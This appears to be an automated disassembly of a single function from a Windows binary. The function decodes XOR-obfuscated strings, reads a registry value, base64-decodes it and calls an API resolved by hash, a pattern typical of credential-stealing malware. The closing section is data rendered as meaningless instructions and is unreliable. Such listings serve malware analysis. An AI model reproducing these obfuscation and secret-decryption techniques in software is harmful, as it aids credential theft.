Function at 0x42e14b
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0xec
mov dword [esp], 0xf93dfbdf
mov dword [esp + 4], 0xfd6eff68
mov dword [esp + 8], 0xf155f338
mov dword [esp + 0xc], 0xf551f764
mov dword [esp + 0x10], 0xe9eaeb2f
lea eax, [esp + 0x14]
mov byte [esp + 0x14], 0
mov ecx, 0xd0734fff
mov edx, 0x2f8cb000
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx + 0x2f8cb001]
mov ebx, ecx
and ebx, esi
mov edi, ebx
and edi, 0xfffffffd
mov ebp, ebx
and ebp, 2
or ebx, 2
imul ebx, ebp
xor ebp, 2
imul ebp, edi
add ebx, ebp
mov edi, ebx
xor edi, ecx
and ebx, edx
add ebx, ebx
sub ebx, edi
mov edi, esi
not edi
and edi, ebx
not ebx
and ebx, esi
sub ebx, edi
add bl, 5
mov byte [esp + ecx + 0x2f8cb001], bl
inc ecx
dec edx
cmp ecx, 0xd0735014
jne 0x42d5b0
lea esi, [esp + 0xa6]
mov edx, esp
mov edi, esi
mov ecx, 5
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0xba]
xor ecx, ecx
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
lea edi, [esp + 0x54]
push edi
push 0
push 0
push 9
push esi
push 0
call dword [0x450d38]
mov ebx, dword [esp + 0x54]
test ebx, ebx
jns 0x42d645
mov eax, 0xffffffff
jmp 0x42d648
lea eax, [ebx + ebx]
push eax
call fcn.0040ce80
add esp, 4
push edi
push ebx
mov dword [esp + 0x3c], eax
push eax
push 9
push esi
push 0
call dword [0x450d38]
mov dword [esp], 0x996d9b50
mov dword [esp + 4], 0xa54ba765
mov dword [esp + 8], 0xa15ca355
mov dword [esp + 0xc], 0xadaeaf4c
lea edx, [esp + 0x10]
mov word [esp + 0x10], 0
mov byte [esp + 0x12], 0
mov eax, 0x71e4025b
mov ecx, 0x8e1bfda4
nop
nop
nop
nop
movzx esi, byte [esp + eax - 0x71e4025b]
lea edi, [esi + esi]
not edi
add edi, esi
and edi, 0x95382a9d
and esi, 0x62
or esi, edi
mov edi, ecx
and edi, 0x8418289d
mov ebx, eax
and ebx, 0x60c40062
or ebx, edi
xor ebx, esi
add ebx, 0x96fb88d9
mov esi, ebx
and esi, 1
xor ebx, 1
lea ebx, [ebx + esi*2]
add bl, 0x5f
mov byte [esp + eax - 0x71e4025b], bl
inc eax
dec ecx
cmp eax, 0x71e4026e
jne 0x42d6a0
lea ebp, [esp + 0x96]
mov eax, esp
mov ecx, 4
mov edi, ebp
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
lea edi, [esp + 0xa6]
xor ebx, ebx
xor ecx, ecx
xchg esi, edx
rep movsw word es:[edi], word [esi]
xchg esi, edx
mov dword [esp], 0x31453f78
mov dword [esp + 4], 0x35573345
mov dword [esp + 8], 0x49443745
mov dword [esp + 0xc], 0x4d0f4b2c
mov dword [esp + 0x10], 0x41304f2f
mov dword [esp + 0x14], 0x45304323
mov dword [esp + 0x18], 0x594647cf
lea esi, [esp + 0x1c]
mov word [esp + 0x1c], 0
mov byte [esp + 0x1e], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [esp + ecx]
mov edx, ecx
xor edx, 0xf24c234b
mov edi, ebx
and edi, 0x28
sub edi, edx
xor edi, eax
add edi, 0xbb7cb076
mov eax, edi
xor eax, 0x3d
and edi, 0x3d
lea eax, [eax + edi*2]
add al, 0xc4
mov byte [esp + ecx], al
inc ecx
add ebx, 2
cmp ecx, 0x1f
jne 0x42d770
lea edx, [esp + 0xd0]
mov eax, esp
mov edi, edx
mov ecx, 7
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
lea edi, [esp + 0xec]
xor eax, eax
xor ecx, ecx
xchg esi, esi
rep movsw word es:[edi], word [esi]
xchg esi, esi
mov dword [esp], 0x933b915c
mov dword [esp + 4], 0x9f3d9d0f
mov dword [esp + 8], 0x9b08990f
mov dword [esp + 0xc], 0x87368528
mov dword [esp + 0x10], 0x8340813c
lea ebx, [esp + 0x14]
mov word [esp + 0x14], 0x8d8c
mov dword [esp + 0x16], 0
mov word [esp + 0x1a], 0
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0xe4
xor cl, byte [esp + eax]
add cl, 0x8c
mov byte [esp + eax], cl
inc eax
cmp eax, 0x1c
jne case.default.0x42d881
lea esi, [esp + 0xba]
mov eax, esp
mov edi, esi
mov ecx, 5
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
lea edi, [esp + 0xce]
mov ecx, 1
xchg esi, ebx
rep movsw word es:[edi], word [esi]
xchg esi, ebx
mov dword [esp + 0x88], ebp
mov dword [esp + 0x8c], edx
mov dword [esp + 0x90], esi
mov ebp, dword [esp + 0x34]
mov eax, ebp
add eax, 2
mov dword [esp + 0x5c], eax
xor ecx, ecx
xor eax, eax
mov dword [esp + 0x44], 0
cmp ecx, 0xc
setne al
xor ecx, ecx
jmp dword [eax*4 + 0x44ce80]
jmp dword [0x44ce98]
jmp dword [0x44cf44]
mov eax, dword [esp + 0x44]
and al, 1
add esp, 0xec
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [esp + 0x68], ecx
mov ebx, dword [esp + ecx + 0x88]
mov edi, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [ebx + edi + 2], 0
lea edi, [edi + 2]
jne 0x42d8f0
mov edx, edi
sar edx, 1
mov eax, dword [esp + 0x54]
inc eax
mov ecx, eax
and ecx, edx
mov dword [esp + 0x48], edx
xor eax, edx
lea edx, [eax + ecx*2]
lea ecx, [eax + ecx*2]
add ecx, 0xc
lea eax, [edx*2 + 0x18]
test ecx, ecx
jns 0x42d927
mov eax, 0xffffffff
push eax
call fcn.0040ce80
add esp, 4
movzx ecx, word [ebp]
mov dword [esp + 0x3c], eax
test cx, cx
je 0x42d961
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x3c]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42d950
mov word [eax], 0x5c
mov dword [esp], 0x7f327904
mov dword [esp + 4], 0x63057def
mov dword [esp + 8], 0x670a6101
mov dword [esp + 0xc], 0x6b1d6544
mov dword [esp + 0x10], 0x6f0f69fc
mov dword [esp + 0x14], 0x93f76df8
mov word [esp + 0x18], 0x9190
mov ecx, esp
mov byte [ecx + 0x1e], 0
mov dword [ecx + 0x1a], 0
mov ecx, 0xe6b322ea
nop
nop
movzx edx, byte [esp + ecx + 0x194cdd16]
mov esi, ecx
and esi, edx
add esi, esi
sub edx, esi
add edx, ecx
mov esi, edx
and esi, 0x32
xor edx, 0xb2
lea edx, [edx + esi*2]
add dl, 0xbc
mov byte [esp + ecx + 0x194cdd16], dl
inc ecx
cmp ecx, 0xe6b32309
jne 0x42d9b0
add eax, 2
movzx ecx, word [ebx]
test cx, cx
je 0x42da11
lea edx, [ebx + 2]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42da00
mov word [eax], 0
movzx ecx, word [esp]
test cx, cx
je 0x42da41
lea edx, [esp + 2]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42da30
mov word [eax], 0
lea eax, [esp + 0x50]
push 0x60
push 3
push 0x120089
push eax
push dword [esp + 0x4c]
call fcn.00444710
add esp, 0x14
not eax
shr eax, 0x1f
mov dword [esp + 0x60], ebx
jmp dword [eax*4 + 0x44cea0]
xor ebx, ebx
jmp dword [0x44cf10]
lea eax, [esp + 0x74]
push 0
push eax
push dword [esp + 0x58]
call fcn.00444a60
add esp, 0xc
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x44cea8]
mov esi, dword [esp + 0x74]
lea eax, [esi + 1]
push eax
call fcn.0040ce80
add esp, 4
push 0
push esi
mov esi, eax
push eax
push dword [esp + 0x5c]
call fcn.00444b40
add esp, 0x10
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x44ceb0]
mov eax, dword [esp + 0x74]
mov byte [esi + eax], 0
push esi
call fcn.00403db0
add esp, 4
xor ecx, ecx
test eax, eax
setne cl
xor ebx, ebx
jmp dword [ecx*4 + 0x44ceb8]
jmp dword [0x44cef8]
mov ebp, dword [esp + 0x50]
mov dword [esp], 0x6c6d6e6f
mov eax, esp
mov byte [eax + 6], 0
mov word [eax + 4], 0
mov ecx, 0x7b5d0f9f
nop
nop
movzx edx, byte [esp + ecx - 0x7b5d0f9f]
lea eax, [ecx - 0x7b5d0f87]
and eax, edx
add eax, eax
sub edx, eax
add edx, ecx
mov eax, edx
xor eax, 0xed
and edx, 0x12
add edx, edx
sub edx, eax
add dl, 0xee
mov byte [esp + ecx - 0x7b5d0f9f], dl
inc ecx
cmp ecx, 0x7b5d0fa6
jne 0x42db50
mov ecx, dword [0x450d3c]
test ecx, ecx
je 0x42dbc0
mov edx, dword [esp]
xor esi, esi
mov eax, dword [0x450d40]
nop
nop
nop
nop
nop
cmp dword [eax + esi*8], 0x7e776f1
je 0x42dbb0
inc esi
cmp ecx, esi
jne 0x42dba0
jmp 0x42dbc0
mov eax, dword [eax + esi*8 + 4]
cmp eax, edx
jne 0x42dec5
nop
nop
nop
nop
jmp dword [0x44cf10]
push ebp
push 1
push dword [0x450d44]
push eax
call fcn.00441410
add esp, 0x10
jmp dword [0x44cf10]
mov dword [esp + 0x7c], eax
push eax
call fcn.00404870
add esp, 4
mov dword [esp], 0xe8edfefb
mov dword [esp + 4], 0xf7f284fa
mov dword [esp + 8], 0xe0f4e432
mov dword [esp + 0xc], 0xefea8cf2
mov dword [esp + 0x10], 0xe0fdfdfd
mov word [esp + 0x14], 0x94f9
mov byte [esp + 0x16], 0x12
mov dword [esp + 0x17], 0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, ebx
add cl, 0x42
xor cl, byte [esp + ebx]
add cl, 0xb6
mov byte [esp + ebx], cl
inc ebx
cmp ebx, 0x1b
jne 0x42df30
mov ecx, esp
push ecx
push eax
call fcn.00404c30
add esp, 8
mov ebx, eax
mov edx, 0xffffffff
mov ecx, 0xfffffffd
nop
nop
nop
nop
mov eax, edx
add ecx, 3
cmp byte [ebx + edx + 1], 0
lea edx, [edx + 1]
jne 0x42df60
shr ecx, 2
movzx eax, byte [ebx + edx - 1]
cmp eax, 0x3d
je 0x42df81
cmp eax, 0x2e
jne 0x42df82
dec ecx
movzx eax, byte [ebx + edx - 2]
cmp eax, 0x3d
mov dword [esp + 0x40], edx
mov dword [esp + 0x58], esi
je 0x42df99
cmp eax, 0x2e
jne 0x42df9a
dec ecx
mov dword [esp + 0x78], ecx
lea eax, [ecx + 1]
push eax
call fcn.0040ce80
add esp, 4
mov dword [esp + 0x30], eax
cmp dword [esp + 0x40], 0
je 0x42e0ac
xor ebp, ebp
mov esi, 2
mov dword [esp + 0x4c], ebx
jmp 0x42dfe8
lea eax, [esi + 4]
add esi, 2
mov ebp, dword [esp + 0x38]
cmp esi, edx
mov esi, eax
mov ebx, dword [esp + 0x4c]
jae 0x42e0ac
movzx eax, byte [ebx + esi - 2]
push eax
call fcn.00422fc0
add esp, 4
mov ecx, ebx
mov ebx, eax
movzx eax, byte [ecx + esi - 1]
push eax
call fcn.00422fc0
mov edx, dword [esp + 0x44]
add esp, 4
mov bh, al
shl bl, 2
shr al, 4
and al, 3
or al, bl
lea ecx, [ebp + 1]
mov dword [esp + 0x38], ecx
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x64], ebp
mov byte [ecx + ebp], al
cmp esi, edx
jae 0x42dfd0
mov eax, dword [esp + 0x4c]
movzx eax, byte [eax + esi]
push eax
call fcn.00422fc0
mov edx, dword [esp + 0x44]
add esp, 4
cmp al, 0x40
je 0x42dfd0
mov bl, al
shl bh, 4
shr al, 2
and al, 0xf
or al, bh
mov ebp, dword [esp + 0x64]
lea ecx, [ebp + 2]
mov dword [esp + 0x38], ecx
mov ecx, dword [esp + 0x30]
mov byte [ecx + ebp + 1], al
lea eax, [esi + 1]
cmp eax, edx
jae 0x42dfd0
mov eax, dword [esp + 0x4c]
movzx eax, byte [eax + esi + 1]
push eax
call fcn.00422fc0
mov edx, dword [esp + 0x44]
add esp, 4
cmp al, 0x40
je 0x42dfd0
shl bl, 6
add al, bl
mov ecx, dword [esp + 0x30]
mov ebx, dword [esp + 0x64]
mov byte [ecx + ebx + 2], al
add ebx, 3
mov dword [esp + 0x38], ebx
jmp 0x42dfd0
mov eax, dword [esp + 0x78]
add eax, 0xfffffffb
mov dword [esp + 0x80], eax
mov eax, dword [esp + 0x30]
add eax, 5
mov dword [esp + 0x84], eax
mov dword [esp + 0x6c], 0
mov dword [esp + 0x70], 0
push 0x31f26afb
push dword [0x450d48]
call fcn.00443d20
add esp, 8
lea ecx, [esp + 0x6c]
lea edx, [esp + 0x80]
push ecx
push 0
push 0
push 0
push 0
push 0
push edx
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44cec0]
xor ebx, ebx
mov esi, dword [esp + 0x58]
jmp dword [0x44cee0]
lea ebx, [edi + 0x10]
cmp dword [esp + 0x48], 0xfffffff8
jge 0x42e12d
mov ebx, 0xffffffff
mov esi, dword [case.0x42d881.20]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebx
call fcn.0040ce80
add esp, 4
jmp esi
mov ebp, eax
mov dword [esp], 0xf15aff8d
mov dword [esp + 4], 0xf58cf340
mov dword [esp + 8], 0xc97ef740
mov dword [esp + 0xc], 0xcdcacb7c
mov dword [esp + 0x10], 0
mov eax, 0xd5
mov ecx, 0x2a
nop
nop
movzx esi, byte [esp + eax - 0xd5]
mov edx, ecx
xor edx, eax
and edx, esi
xor edx, eax
add dl, 0xd7
mov byte [esp + eax - 0xd5], dl
inc eax
dec ecx
cmp eax, 0xe9
jne 0x42e180
mov edx, dword [esp + 0x60]
movzx ecx, word [edx]
mov eax, ebp
test cx, cx
je 0x42e1d1
add edx, 2
mov eax, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42e1c0
mov word [eax], 0
movzx ecx, word [esp]
test cx, cx
mov esi, dword [esp + 0x58]
je 0x42e201
lea edx, [esp + 2]
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42e1f0
mov word [eax], 0
mov ecx, dword [esp + 0x100]
push dword [esp + 0x6c]
push dword [esp + 0x74]
push ebp
call fcn.0040d760
mov ebx, eax
jmp dword [0x44ced8]
push ebp
call fcn.0040ce90
add esp, 4
push 0xd80d2c4a
push dword [0x450d30]
call fcn.00443d20
add esp, 8
push dword [esp + 0x70]
call eax
jmp dword [0x44cee0]
jmp dword [0x44cee8]
push dword [esp + 0x30]
call fcn.0040ce90
add esp, 4
push dword [esp + 0x30]
call fcn.0040ce90
add esp, 4
jmp dword [0x44cef4]
push dword [esp + 0x7c]
call fcn.00404e20
add esp, 4
jmp dword [0x44cef8]
add dword [eax], eax
add byte [eax], al
mov al, bl
fadd dword [edx]
salc
fadd dword [edx]
salc
fadd dword [edx]
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
mov al, bl
inc edx
add byte [ecx], al
add byte [eax], al
add byte [esi - 0x50ffbd28], cl
fadd dword [edx]
jo 0x44ce7c
inc edx
add byte [eax + 0x320042da], ah
fild dword [edx]
rcr edx, 0x42
add byte [edx], dl
fild dword [edx]
int1
fiadd dword [edx]
adc bl, bl
inc edx
add ch, bl
fiadd word [edx]
adc ah, cl
inc edx
add byte [esi], bl
loope 0x44cf09
add byte [eax - 0x1f], al
inc edx
add byte [eax - 0x1f], al
inc edx
add byte [eax - 0x1f], al
inc edx
add byte [ebx - 0x1f], cl
inc edx
add byte [ebx], ah
loop 0x44cf1d
add byte [edx], ch
inc edx
add byte [ebx - 0x1e], cl
inc edx
add byte [edi - 0x1e], ch
inc edx
add byte [ebp - 0x1e], bl
inc edx
add byte [ecx - 0x1e], dl
inc edx
push ecx
loop 4509489
add byte [ecx - 0x1e], dl
inc edx
add byte [edi - 0x1e], ch
inc edx
add byte [eax], bl
fild dword [edx]
and ebx, ebx
inc edx
add byte [eax], dh
fild dword [edx]
xor bl, bl
inc edx
add byte [edx], dh
fild dword [edx]
xor bl, bl
inc edx
add byte [eax], dh
fild dword [edx]
xor bl, bl
inc edx
add byte [eax], dh
fild dword [edx]
js 0x44ceec
fild dword [edx]
xor bl, bl
inc edx
add byte [eax - 0x26], bh
inc edx
add dh, al
fild dword [edx]
rcr al, 0x42
add al, ah
fild dword [edx]
loopne 0x44cefd
inc edx
add al, ah
fild dword [edx]
out 0xdb, al
inc edx
add al, ah
fild dword [edx]
xchg dh, bl
inc edx
add byte [eax - 0x59ffbd22], ah
fiadd word [edx]
mov al, byte [0xa60042de]
fiadd word [edx]
rcr al, 0x42
add byte [eax + ebx*8 - 0x275fffbe], dl
inc edx
add byte [edi - 0x5fffbd28], ch
fadd dword [edx]
push es
in al, 0x42
add byte [esi], ah
in al, 0x42
add byte [ebp + 0x4c0042e4], dl
in al, 0x42
add byte [ebx + 0x370042e4], al
in eax, 0x42
add al, dh
in eax, 0x42
add byte [ebx + 0x250042e4], al
out 0x42, al
add al, dl
out 0x42, al
add byte [0xd00042e6], dh
out 0x42, al
add byte [ebp - 0x1a], al
inc edx
add al, dl
out 0x42, al
add byte [ebp - 0x1a], dl
inc edx
add al, dl
out 0x42, al
add byte [ebp - 0x1a], ah
inc edx
add al, dl
out 0x42, al
add al, dl
out 0x42, al
add al, dl
out 0x42, al
add al, dl
out 0x42, al
add byte [eax - 0x1b], dl
inc edx
add byte [ebp - 0x29ffbd1a], dh
out 0x42, al
add ah, bl
out 0x42, al
add al, dh
out 0x42, al
add byte [ecx], cl
out 0x42, eax
add al, dh
out 0x42, al
add byte [edi + 0x270042e9], cl
out 0x42, eax
add byte [eax - 0x17], ah
inc edx
add byte [esi - 0x19], cl
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx - 0x19], bh
inc edx
add byte [edi - 0x72ffbd19], al
out 0x42, eax
add byte [ecx - 0x17], dl
inc edx
add byte [eax - 0x17], ah
inc edx
add byte [esi - 0x17], ah
inc edx
add byte [edi + 0x6c0042e9], cl
jmp 0xe9c4d040